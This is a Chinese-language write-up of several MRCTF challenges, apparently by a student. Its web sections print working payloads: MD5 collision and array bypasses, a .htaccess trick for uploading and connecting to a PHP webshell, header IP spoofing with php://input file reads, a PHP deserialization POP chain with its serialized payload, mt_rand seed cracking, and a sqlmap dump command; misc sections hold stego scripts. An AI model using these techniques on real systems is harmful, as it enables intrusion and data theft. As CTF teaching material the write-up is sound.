前言php
周末作了一下北邮的CTF,这里记录一下作出来的几道题。(PS:比较菜有不少没作出来 >_< ,仍是要更加努力学习啊(ง •̀o•́)ง,剩下的等大佬们出了wp后在复现一下)html
题目源码:python
I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } }You got the first steponly one way to get the flag
1、绕过md5强类型的比较(一月的安恒祈福赛有考过)mysql
一、使用数组绕过?gg[]=1&id[]=2web
md5()函数没法处理数组,若是传入的为数组,会返回NULL,因此两个数组通过加密后获得的都是NULL,也就是相等的。算法
二、md5全等碰撞,直接传两个具备相同md5的字符串sql
gg=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0L%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%0A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4a%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CBZ%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BA%D3%F9%DCHb%7BK%AC%CE%EF%CE%C5%18C%C1z%5D%3B%F7&id=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0%CC%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%8A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4%E1%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CB%DA%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BAS%F9%DCHb%7BK%AC%CE%EF%CE%C5%18CAz%5D%3B%F7
构造能够参考:[https://xz.aliyun.com/t/2232]:数据库
2、绕过is_numeric()的检测和php的==弱比较编程
is_numeric()的检测只要传一个非数字或数字字符串便可windows
==弱比较能够传一个password=123456a
以后能够看到flag
把php的后缀都过滤了,试了一下.htaccess没有过滤
那么先上传一个.htaccess内容以下的文件:
<FilesMatch "2.jpg"> SetHandler application/x-httpd-php </FilesMatch>
它会把2.jpg看成php解析
而后把小马的后缀改成2.jpg上传
蚁剑链接
蚁剑配置 http://2b8739dc-110e-4461-876e-a9b3860dc286.merak-ctf.site/upload/37366d578ca8a592ee9d8412e081fda1/2.jpg 密码 value
根目录下看的flag
打开查看源码能够发现
主要代码
$query = $_SERVER['QUERY_STRING']; //至关于获取?后面的值 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ //?后面的值不能有_和 %5f(%5f是_的url编码) die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; }
GET
?b.u.p.t=23333%0a
前面是利用php特性 . 会被转换为_
后面的正则匹配是利用$没法匹配换行符号%0a来进行绕过
返回FLAG is in secrettw.php,访问以后
只有127.0.0.1才行,看一下源码,发现JSPFUCk
复制放到控制台里运行,提示post一个Merak,随便post一个值获得源码
Flag is here~But how to get it? <?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
首先伪造ip,这里使用
client-ip: 127.0.0.1
而后file_get_contents能够利用php://input,change只是简单的改变了一下咱们传的值写个反向的方法就行
<?php function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } function change2($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) - $i*2 ); } return $re; } // $flag='ZmxhZy5waHA='; // $a=change2($flag); $b='ZmpdYSZmXGI='; $a=change($b); echo $a; ?>
最终
GET ?2333=php://input&file=ZmpdYSZmXGI= POST todat is a happy day
获得flag
这是萌新的我,第一次看懂并作出来的POP题,以前也有据说过POP,但一直没有实践,中途遇到了一个坑卡了贼久。。
当时参考这位师傅的博客:[http://www.javashuo.com/article/p-hkyxwopn-bv.html]:
可是我tcl没看懂,因而决定一步一步分析
题目源码
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
全部php里面的值均可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数可以从新把字符串变回php原来的值。 序列化一个对象将会保存对象的全部变量,可是不会保存对
象的方法,只会保存类的名字。
简单来讲,serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象。反序列化自己并不危险,可是若是反序列化时,传入反序列化函数的参数能够被用户控制那将会是一件很是危险的事情。
类和对象的概念就很少说了
__construct //当一个对象建立时被调用, __destruct //当一个对象销毁时被调用, __toString //当一个类或对象被看成一个字符串被调用。 __wakeup() //使用unserialize时触发 __sleep() //使用serialize时触发 __get() //读取不可访问属性的值时 __set() //在给不可访问属性赋值时 __isset() //当对不可访问属性调用 isset() 或 empty() 时 __unset() //当对不可访问属性调用 unset() 时 __invoke() //当尝试以调用函数的方式调用一个对象时 __set_state()//当调用 var_export() 导出类时,此静态 方法会被调用。 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发
详细参考官方手册:[https://www.php.net/manual/zh/language.oop5.magic.php]:
public变量(公有) 直接将变量名反序列化出来 protected变量(受保护) \x00 + * + \x00 + 变量名 private变量(私有) \x00 + 类名 + \x00 + 变量名
对于 \x00 和 <0x00> 他们都表示空字节,在构造的时候用 %00 来表示,如:
O:4:"Test":2:{s:4:"name";s:7:"lceFIre";s:6:"%00*%00age";i:18;}
在反序列化中,咱们所能控制的数据就是对象中的各个属性值,因此在PHP的反序列化有一种漏洞利用方法叫作 "面向属性编程" ,即 POP( Property Oriented Programming)。和二进制漏洞中经常使用的 ROP 技术相似。在 ROP 中咱们每每须要一段初始化 gadgets 来开始咱们的整个利用过程,而后继续调用其余 gadgets。在 PHP 反序列化漏洞利用技术 POP 中,对应的初始化 gadgets 就是 __wakeup() 或者是 __destruct() 方法, 在最理想的状况下可以实现漏洞利用的点就在这两个函数中,但每每咱们须要从这个函数开始,逐步的跟进在这个函数中调用到的全部函数,直至找到能够利用的点为止。下面列举些在跟进其函数调用过程当中须要关注一些颇有价值的函数。
命令执行:
exec(),passthru(),popen(),system()
文件操做:
file_put_contents(),file_get_contents(),unlink()
若是在跟进程序过程当中发现这些函数就要打起精神,一旦这些函数的参数咱们可以控制,就有可能出现高危漏洞.
详细参考:
首先是找到入口方法也就是起点
很明显只有Show里面的__wakeup会在反序列化被调用
而后找一下终点,看一下最终咱们利用的是哪一个函数,浏览完全部方法,能够发现append方法里的include应该就是咱们所须要的函数,咱们能够利用它和php://filer协议来读取文件
接下来从终点往前推
include在append方法里,那么如何调用append方法?
这里咱们能够看到__invoke()方法里调用了append方法,且$this->var可控
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
如何调用__invoke()方法?
咱们知道:当尝试以调用函数的方式调用一个对象时,__invoke()会被调用
而后在Test类的__get()方法中,$this->p可控,当咱们令它等于Modifier对象时,而后在return那里就会触发__invoke()方法
public function __get($key){ //得到一个类的成员变量时调用 $function = $this->p; //Modifier return $function(); }
如何调用__get()方法?
在读取不可访问属性的值时,__get()方法会被调用
而后看到Show类的__toString()方法,这里的 $this->str可控,咱们能够构建一个Show对象令它的 $this->str等于Test对象,这样执行return时至关于返回 Test对象的source属性,这里因为Test对象里没有source属性,因此会触发__get()方法
public function __toString(){ return $this->str->source; }
如何调用__toString()方法?
当一个类或对象被看成一个字符串时,__toString会被调用。
而后在咱们的起点__wakeup()方法中,能够看到用preg_match对 $this->source进行了匹配,这里 $this->source会被当作字符串,而 $this->source可控,那么能够令它等于一个Show对象,从而触发__toString方法
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; }
那么完整的链就是
反序列化->__wakeup()->preg_match()->__toString()->__get()->__invoke()->append()->include()
脚本
<?php class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=./flag.php'; #public $var='data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4='; } class Show { public $source; public $str; } class Test { public $p; } $obj_Modifier = new Modifier(); $obj_Test = new Test(); $obj_Test->p = $obj_Modifier; $obj_Show1 = new Show(); $obj_Show1->str = $obj_Test; $obj_Show2 = new Show(); $obj_Show2->source = $obj_Show1; echo serialize($obj_Show2); ?>
pyload:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:59:"php://filter/read=convert.base64-encode/resource=./flag.php";}}}s:3:"str";N;}
注意:var是受保护的变量因此要用 %00*%00var
代替 <0x00>*<0x00>var
来表示受保护的变量
当时作题的我是看到了源码中的 protected $var; 可是写脚本的时候忘了获得的" * $var"
要写成"%00*%00var"
,而后就觉得这个行不通。。
而后就想着用public弄个公有的var变量,应该也能让它调用,而后就入坑了。。。
我在本地用PHPstudy(当时用的是php7.2版本,这是坑点。。)和题目源码搭建了个简单的环境测试了一下生成的pyload,能够读取文件
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"var";s:59:"php://filter/read=convert.base64-encode/resource=./flag.php";}}}s:3:"str";N;}
而后我就高兴的(有点sa..)拿着这个去打靶机,而后试了半天没点反应,而后我就觉得会不会是php协议用错了(思路跑偏。。),去网上搜了半天关于include的利用。。
最后绕了一大圈才想到会不会是生成pyload时用的public的问题。。。
赛后我仍是不理解为何我在本地那样能够读取文件,而在靶机不行,而后就去向群里的师傅们请教
这里感谢 Mrkaixin师傅解答了个人困惑,是PHP版本的问题。
我测试了一下 5.2~7.2 的PHP版本(如下是我的理解写的不对的地方还欢迎师傅们指出 ﹡ˆoˆ﹡ )
在php7.2版本之前经过反序列化生成的public变量,不能重置原有的protect或private变量,php7.2的能够而且能被所在类的方法调用(可是不能在外部调用),以后的应该也能够。
这里能够看到我反序列化传入的公有变量成功被__wakeup调用,可是外部用echo输出不行
打开是个网站,浏览一下没有什么能够利用的地方,那么扫一下目录
login.html是登陆界面
www源码以下:
<?php header('Content-type:text/html; charset=utf-8'); error_reporting(0); if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_key']; if (($username == '') || ($password == '') ||($Private_key == '')) { // 若为空,视为未填写,提示错误,并3秒后返回登陆界面 header('refresh:2; url=login.html'); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登陆界面的!"; exit; } else if($Private_key != '*************' ) { header('refresh:2; url=login.html'); echo "假密钥,咋会让你登陆?crispr会让你在2秒后跳转到登陆界面的!"; exit; } else{ if($Private_key === '************'){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; $link=mysql_connect("localhost","root","root"); mysql_select_db("test",$link); $result = mysql_query($getuser); while($row=mysql_fetch_assoc($result)){ echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>"; } } } } // genarate public_key function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } $Public_key = public_key(); //$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
看完后能够知道,这里须要求私钥,而后再登陆的password那里存在sql注入,flag应该就再user表里
公钥和私钥的生成用的是 mt_rand() 函数,那么这里考查的应该是php伪随机性
详细能够参考wonderkun师傅的博客:[http://wonderkun.cc/2017/03/16/php的随机数的安全性分析/]:
以前一月的安恒祈福赛也考过
mt_rand函数是伪随机性,只要使用相同的种子,所生成的随机数序列必定是固定的。
可是在前面的内容里咱们,并无看到设置种子,那么它这里应该是用mt_rand函数自动播种,而在php中使用mt_rand函数产生一系列的随机数时,它的自动播种只进行了一次!(即屡次调用 mt_rand()函数以前,只播种一次种子)
这里公钥已经告诉了,那么能够经过它来求种子
那么首先得到已知$Public_key的每一位在$strings1中的位置:
str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' str2 = 'KVQP0LdJKRaV3n9D' res = '' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' ' break P = [0 for i in range(17)] print(P) #整理成方便 php_mt_seed 测试的格式
而后使用php_mt_seed爆破种子:
获得种子1775196155(注意种子对应的PHP版本)
而后就设置种子,这里我猜想它应该是先生成公钥在生成私钥:
<?php mt_srand(1775196155);//爆破出来的种子 $str_long1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $str=''; $len1=16; for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); } echo "<p id='p1'>".$str."</p>"; $str=''; $len1=12; for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); } echo "<p id='p1'>".$str."</p>"; ?>
获得
<p id='p1'>KVQP0LdJKRaV3n9D</p><p id='p1'>XuNhoueCDCGc</p>
这里能够看到前面的公钥和题目告诉的公钥同样,后面的就是私钥
用私钥登陆进去什么都没有,那么flag在数据库里没得跑了,这里试了一下貌似没什么过滤,那直接sqlmap一把梭
先去抓个包,而后保存成文件,-p指定参数
python sqlmap.py -r C:\Users\lenovo\Desktop\sql.txt -p password -D test -T user -C flag --dump
拿到flag
png高度隐写,010修改如下高度就行。。
这题刚开始和BJDCTF的TARGZ-Y1ng同样(实在是太爽了~~哈哈),拿以前的脚本修改一下
#!/usr/bin/env python # encoding: utf-8 import os import filetype import time #sleep的单位是秒 number = 0 while 1: aa = os.popen('ls') filename = aa.read().replace('decompress.py','').replace('\n', '') a = filename.replace('.zip', '') kind = filetype.guess(filename) #guess至关于加载文件 number += 1 try: if kind.extension is 'zip': #extension是获取文件类型 os.system("unzip -P {} {}.zip".format( a, a)) time.sleep(0.01) os.system("rm {}.zip".format(a)) time.sleep(0.01) except Exception as e: print('解压完成') print('解压了 {} 次'.format(str(number))) break
获得一堆rgb
名字是qr,估计是个二维码,
RGB转图片脚本以下:
#!/usr/bin/env python # encoding: utf-8 from PIL import Image x = 200 #x坐标 经过对txt里的行数进行整数分解 y = 200 #y坐标 x * y = 行数 im = Image.new("RGB", (x, y)) #建立图片 file = open('qr.txt') #打开rbg值的文件 #经过每一个rgb点生成图片 for i in range(0, x): for j in range(0, y): line=file.readline() rgb = line.split("\n") rgb = rgb[0] rgb=rgb.replace('(','') rgb=rgb.replace(')','') rgb = rgb.split(", ") im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2]))) #将rgb转化为像素 im.show() #也可用im.save('flag.jpg')保存下来
扫码获得flag
纯手工拼。。
据说有工具,以后在学习一波
是个wav文件,Au打开,很明显的DTMF拨号音,那么选择频谱图,设置一下最高和最低频率,窗口大小和补零因子,方便观察
详细参考:[http://blog.sina.com.cn/s/blog_3cef24f001018m8v.html]:
而后对照表来分析
题目描述:音乐一响。。。又回想起了在东京吃人的日子
真是怀念啊,初三开始看的,如今已经完结了。。。
不说了,下面是正题
开场给了三个文件,win-zip须要密码(我最怕这种文件给的多的了,感受b格很高不敢下手)
我首先看的是wav,由于最近的比赛总是碰到音频的题目。。
打开听了一下很正常,Au分析一下也什么都没有,kali里binwalk一下仍是什么都没有,而后感受Look_at_the_file_ending.wav这个文件名有点东西,说看一下这个文件的结尾,010打开看了下,果真有东西
看着眼熟想不起来是啥了,base64解了一下是一堆乱七八糟的东西,无论了先放着
U2FsdGVkX1/nSQN+hoHL8OwV9iJB/mSdKk5dmusulz4=
而后看了一下png,windows能正常打开,放到kali里也能正常打开,没什么不对的地方
binwalk跑一下,发现有zip,那就foremost分离
zip解压后打开
这里它的文件名是aes.png
在联想到以前的加密数据,我说怎么看着有点眼熟,原来是aes,那么Tokyo应该就是密码了
在线解AES
获得CCGandGulu,这个就是win-win.zip的密码
解压后又是个wav,一顿操做后什么,都没发现。。
后来想到以前作音频隐写的时候听过有音频的LSB隐写,可是一直没遇到
简单了解
SilentEye是一个跨平台的应用程序设计,能够轻松地使用隐写术,在这种状况下,能够将消息隐藏到图片或声音中。它提供了一个很好的界面,并经过使用插件系统轻松集成了新的隐写算法和加密过程。若是以前不了解这款软件,通常是很难发现图片或声音中藏有秘密。
而后用slienteye来解密,就拿到flag了 ~ ~ 嘿嘿